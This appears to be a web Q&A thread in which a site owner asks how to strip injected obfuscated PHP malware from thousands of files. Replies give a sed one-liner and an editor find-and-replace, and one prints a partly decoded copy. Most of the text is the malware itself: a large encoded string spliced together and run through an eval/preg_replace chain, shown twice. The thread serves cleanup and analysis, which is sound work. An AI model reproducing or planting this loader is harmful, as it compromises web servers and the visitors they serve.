chr(ord($n)860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%74]256#<!%x5c%x7825ff2!>!bss]y72]282#<!%x5c%x7825tjw!>!c%x7827k:!ftmf!}Z;^nbsbq%x5c%x782;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%>>!}W;utpi}Y;tuofuopd%x5c%x78682f},;#-#}+;%x5c%x7825-qp%x5c%x7825)c!>!%x5c%x7825i%x5c%x785c2^%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x78]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y8524<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]yx5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f###%x5c%x782fqp5%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825k%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmR#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x#ojneb#-*f%x5c%x7825)sf%x5cv}.;%x5c%x782f#%x5c%x782f#%x5c%x7%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsf8256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x78-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825$GLOBALS["%x61%156%x>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5cc%x7824tvctus)%x5c%x7825%x5c%+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878my%x5c%x7825)utjm!|!*5!%qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjAx5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%xjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**x7860TW~%x5c%x7824<%x5c%x78x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x783zbek!~!<b%x5c%x7825%x5c%<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%w)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%xc%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5cj:!>!#]y3d]51]y35]256]y76]%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x82400~:<h%x5c%x7825_t%x%x5c%x7825)sutcvt-#w#)ldbqov>*of7824gvodujpo!%x5c%x7824-%x5c5%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msc%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*42f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#0825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!oppreg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%judovg}{;#)tutjyf%x5c%x7860opx5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25tbc%x5c%x787f!|!*uyfu%x57825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!C#-#O#-#N#*%x5c%x7824%x5c%x782f%]278]225]241]334]368%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x6<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x75c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x%x5c%x782f7^#iubq#%x5c%x785cq%x5cg]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%7pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%7f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmtmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x78#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x7e%x5c%x78b%x5c%x7825mm%x7860FUPNFS&d_SFSFGFS%x5c%x7827!hmg%x5c%x78860{6~6<tfs%x5c%x7822%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS]322]3]364]6]283]427]36]373P6]36]73]83]238M72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x78604392755epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5cx787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!op/(.*)/epreg_replacedlupegpizy'; $szhkmpjese = explode(chr((305-261)),'4646,67,7201,20,4462,65,6124,27,1875,27,8578,47,611,37,2557,35,1509,62,3684,25,9763,69,9237,58,2637,67,3327,38,3212,46,4920,54,1738,45,9295,53,4342,24,2442,66,5905,26,5735,48,3850,61,466,29,9149,55,1059,64,3094,34,3258,43,1264,30,1234,30,7443,42,204,29,7043,54,4974,45,9204,33,6973,70,51,31,8483,35,1355,25,8890,62,9614,63,6075,49,2508,49,9743,20,353,48,8423,60,9832,42,8952,42,5458,35,5691,44,9412,46,1838,37,6402,30,5843,62,1380,56,1644,37,4527,29,6344,58,10064,42,8625,29,7610,57,5977,60,6037,38,3931,42,5159,30,8023,70,5120,39,909,24,715,61,8189,32,7419,24,9722,21,5931,46,8306,70,8518,60,776,70,5565,27,4318,24,4832,20,8119,47,2704,49,2815,66,8376,47,3619,65,6663,63,173,31,3388,32,6784,63,1902,43,150,23,2357,35,1945,41,6913,27,4626,20,4366,67,3365,23,495,59,9699,23,82,68,7736,25,1159,31,5189,34,8736,57,554,57,8712,24,6311,33,8249,57,6940,33,6432,36,5395,63,2322,35,9960,63,3751,48,5375,20,5324,51,7291,60,3479,50,9554,60,9515,39,3301,26,8654,58,4556,70,2074,35,6847,66,3799,51,3996,43,1010,49,1783,55,9458,57,2592,45,2943,27,3128,62,3529,49,6284,27,2217,47,2049,25,6548,53,2970,37,4433,29,8166,23,9034,53,4852,68,4122,35,4213,39,233,41,3911,20,5783,60,2392,50,7935,37,7485,64,6495,53,6601,62,6256,28,0,51,1190,44,1123,36,7262,29,5019,36,7160,41,8994,40,6151,39,4157,56,1480,29,3973,23,8221,28,8845,45,7097,63,3729,22,933,48,6726,58,8093,26,9917,43,1986,63,303,50,6468,27,7761,50,1571,44,10023,41,5223,62,5493,35,2881,62,648,67,7871,64,2264,58,3063,31,2109,68,5285,39,9348,64,5640,51,4762,70,846,63,7549,61,2177,40,6190,66,7972,51,8825,20,9874,43,4039,30,4252,66,3420,59,7351,68,4069,53,2788,27,7221,41,1436,44,5055,65,7694,42,981,29,1681,57,3578,41,1294,61,7811,60,7667,27,9677,22,5528,37,3709,20,9087,62,8793,32,3190,22,1615,29,5592,48,401,65,4713,49,3007,56,2753,35,274,29'); $vljzlxyidt=substr($xiyzbtmheq,(66854-56748),(26-19)); if (!function_exists('krkmslacdc')) { function krkmslacdc($dfsltjfdfy, $vhbwrjxtar) { $cnjpfblxkx = NULL; for($mckpdcjuhs=0;$mckpdcjuhs<(sizeof($dfsltjfdfy)/2);$mckpdcjuhs++) { $cnjpfblxkx .= substr($vhbwrjxtar, $dfsltjfdfy[($mckpdcjuhs*2)],$dfsltjfdfy[($mckpdcjuhs*2)+1]); } return $cnjpfblxkx; };} $pyzbigcqqv="\x20\57\x2a\40\x75\141\x65\164\x78\163\x6e\155\x61\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\63\x35\55\x39\70\x29\51\x2c\40\x63\150\x72\50\x28\63\x37\63\x2d\62\x38\61\x29\51\x2c\40\x6b\162\x6b\155\x73\154\x61\143\x64\143\x28\44\x73\172\x68\153\x6d\160\x6a\145\x73\145\x2c\44\x78\151\x79\172\x62\164\x6d\150\x65\161\x29\51\x29\73\x20\57\x2a\40\x65\141\x62\166\x6e\162\x6f\157\x74\157\x20\52\x2f\40"; $tkudmphbyd=substr($xiyzbtmheq,(53762-43649),(51-39)); $tkudmphbyd($vljzlxyidt, $pyzbigcqqv, NULL); $tkudmphbyd=$pyzbigcqqv; $tkudmphbyd=(565-444); $xiyzbtmheq=$tkudmphbyd-1; ?> Since there are thousands php files, i don't think i can do it manually. Any help on how can i do it automated way?
Open up terminal and hit find . -name "*.php" -print0 | xargs -0 sed -ri '1s/^<\?php if\(!isset\(\$GLOBALS\[.*-1; \?>//' *.php
Take backup of all files. Open Adobe Dream Weaver Press CTRL + F. Select your folder of site. In the find section, paste your malicious code and make sure that replace field is empty. Press Replace all That will do the trick.
Does all files are the same code? Decoded from your malware script <?php if ( ! isset( $GLOBALS["\x61\156\x75\156\x61"] ) ) { $ua = strtolower( $_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"] ); if ( ( ! strstr( $ua, "\x6d\163\x69\145" ) ) and ( ! strstr( $ua, "\x72\166\x3a\61\x31" ) ) ) { $GLOBALS["\x61\156\x75\156\x61"] = 1; } } ?> <?php $xiyzbtmheq = 'bz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%xvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)32wjidsb%x5c%x7860bj+upco%x5c%x7825>5h%x5c%x7825!<*:::::)qj3hopmA%x5c%x78273qj%x5c%x7x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%2%51%x29%51%x29%73", NULL); }5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x78255w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x774]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]%x5c%x782f7rfs%x5c%x78256<#o]!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057f166%x61%154%x28%151%x6d%160%x6c%157%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{hjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]!hmg%x5c%x7825)!gj!~<ofmuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825c%x5c%x7825j:^<!%x5c%x7825w%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33b78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopd%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824w6*3qj%x5c%x78257>%x5c%x782272ubfsdXA%x5c%x7827K6<%x5c%x787f#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%7825%x5c%x7827Y%x5c%x7825x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:c%x7824-%x5c%x7824<%x5c%x7825155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x782%x5c%x78e%x5c%x78b%x5c%x7825gx7825)uqpuft%x5c%x7860msvd},;uqpuft%xx5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5cx5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x782q}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!-1);} #error_reporting(0); pusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sf!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x%x5c%x7825tmw!>!#]y84]275%x7825>2q%x5c%x7825<#g6R85,67R37,187878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:55f;!opjudovg}k~~9{d%x5c%x7825:osvufstn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x55)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x7825c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x764%145%x28%141%x72%162%x61%171%x5f%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)32x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x55]y85]82]y76]62]y3:]84#-!OVMM*<%x2x7825b:>1<!gps)%x5c%x7825j:5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x78}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x3zbe!-#jt0*?]+^?]_%x5c%x785]256]y6g]257]y86]267]y74]275]y7:]268]1]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]97f-s.973:8297f:5297e:56-%x5c%xXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPc}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]27x5c%x7825kj:-!OVMM*<(<A%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%xT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)ffV%x5c%x787f<*X&Z&S{ftmfV%%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hf5d816:+946:ce44#)zbssb:-111112)eobs%x5c%x7860un>qp%x5c5tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!f3]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p0;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%163%x70%154%x69%164%50%x2%x5c%x782f%x5c%x782424-%x5c%x7824*<!~!dsfbttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>x7825):fmji%x5c%x787!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-j,,*!|%x5c%x7824-%x5c%xl:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%7]381]211M5]67]452]88]5]48]32M<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%825%x5c%x782fh%x5c%x7825)n%x5c%x782824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x55-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x782x5c%x7825Z<^2%x5c%x785c2%x5c%x7827*&7-n%x5c%x782tRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9y7f#<!%x5c%x7825tww!>!%x5c%x775%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; function f5c%x7860msvd}+;!>!}%x5c%x7827,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7878pmpusut)tpqssuif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset(271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]67825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]b%x5c%x7825!>!2p%x5cx782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x75c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7###7x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827bubE{h%x5c%x7825)tpqsut>j%x5c%5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c5c%x782f#7e:55946-tr.984:75983:48984:71ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<:iuhofm%x5c%x7825:-554l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787id%x5c%x78256<%x5c%x787fw6*%x5c%x78%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzwx7825%x5c%x787f!~!<##!>!2p%gg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&68:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]4720ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%f7&6|7**111127-K)ebfsX%x5c25)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x59.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x78278257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%xjfgg($n){return chr(ord($n)860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%74]256#<!%x5c%x7825ff2!>!bss]y72]282#<!%x5c%x7825tjw!>!c%x7827k:!ftmf!}Z;^nbsbq%x5c%x782;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%>>!}W;utpi}Y;tuofuopd%x5c%x78682f},;#-#}+;%x5c%x7825-qp%x5c%x7825)c!>!%x5c%x7825i%x5c%x785c2^%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x78]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y8524<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]yx5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f###%x5c%x782fqp5%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825k%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmR#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x#ojneb#-*f%x5c%x7825)sf%x5cv}.;%x5c%x782f#%x5c%x782f#%x5c%x7%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsf8256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x78-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825$GLOBALS["%x61%156%x>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5cc%x7824tvctus)%x5c%x7825%x5c%+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878my%x5c%x7825)utjm!|!*5!%qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjAx5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%xjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**x7860TW~%x5c%x7824<%x5c%x78x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x783zbek!~!<b%x5c%x7825%x5c%<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%w)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%xc%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5cj:!>!#]y3d]51]y35]256]y76]%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x82400~:<h%x5c%x7825_t%x%x5c%x7825)sutcvt-#w#)ldbqov>*of7824gvodujpo!%x5c%x7824-%x5c5%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msc%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*42f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#0825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!oppreg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%judovg}{;#)tutjyf%x5c%x7860opx5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25tbc%x5c%x787f!|!*uyfu%x57825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!C#-#O#-#N#*%x5c%x7824%x5c%x782f%]278]225]241]334]368%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x6<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x75c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x%x5c%x782f7^#iubq#%x5c%x785cq%x5cg]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%7pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%7f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmtmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x78#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x7e%x5c%x78b%x5c%x7825mm%x7860FUPNFS&d_SFSFGFS%x5c%x7827!hmg%x5c%x78860{6~6<tfs%x5c%x7822%134%x78%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS]322]3]364]6]283]427]36]373P6]36]73]83]238M72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x78604392755epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5cx787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!op/(.*)/epreg_replacedlupegpizy'; $szhkmpjese = explode( chr( ( 305 - 261 ) ), '4646,67,7201,20,4462,65,6124,27,1875,27,8578,47,611,37,2557,35,1509,62,3684,25,9763,69,9237,58,2637,67,3327,38,3212,46,4920,54,1738,45,9295,53,4342,24,2442,66,5905,26,5735,48,3850,61,466,29,9149,55,1059,64,3094,34,3258,43,1264,30,1234,30,7443,42,204,29,7043,54,4974,45,9204,33,6973,70,51,31,8483,35,1355,25,8890,62,9614,63,6075,49,2508,49,9743,20,353,48,8423,60,9832,42,8952,42,5458,35,5691,44,9412,46,1838,37,6402,30,5843,62,1380,56,1644,37,4527,29,6344,58,10064,42,8625,29,7610,57,5977,60,6037,38,3931,42,5159,30,8023,70,5120,39,909,24,715,61,8189,32,7419,24,9722,21,5931,46,8306,70,8518,60,776,70,5565,27,4318,24,4832,20,8119,47,2704,49,2815,66,8376,47,3619,65,6663,63,173,31,3388,32,6784,63,1902,43,150,23,2357,35,1945,41,6913,27,4626,20,4366,67,3365,23,495,59,9699,23,82,68,7736,25,1159,31,5189,34,8736,57,554,57,8712,24,6311,33,8249,57,6940,33,6432,36,5395,63,2322,35,9960,63,3751,48,5375,20,5324,51,7291,60,3479,50,9554,60,9515,39,3301,26,8654,58,4556,70,2074,35,6847,66,3799,51,3996,43,1010,49,1783,55,9458,57,2592,45,2943,27,3128,62,3529,49,6284,27,2217,47,2049,25,6548,53,2970,37,4433,29,8166,23,9034,53,4852,68,4122,35,4213,39,233,41,3911,20,5783,60,2392,50,7935,37,7485,64,6495,53,6601,62,6256,28,0,51,1190,44,1123,36,7262,29,5019,36,7160,41,8994,40,6151,39,4157,56,1480,29,3973,23,8221,28,8845,45,7097,63,3729,22,933,48,6726,58,8093,26,9917,43,1986,63,303,50,6468,27,7761,50,1571,44,10023,41,5223,62,5493,35,2881,62,648,67,7871,64,2264,58,3063,31,2109,68,5285,39,9348,64,5640,51,4762,70,846,63,7549,61,2177,40,6190,66,7972,51,8825,20,9874,43,4039,30,4252,66,3420,59,7351,68,4069,53,2788,27,7221,41,1436,44,5055,65,7694,42,981,29,1681,57,3578,41,1294,61,7811,60,7667,27,9677,2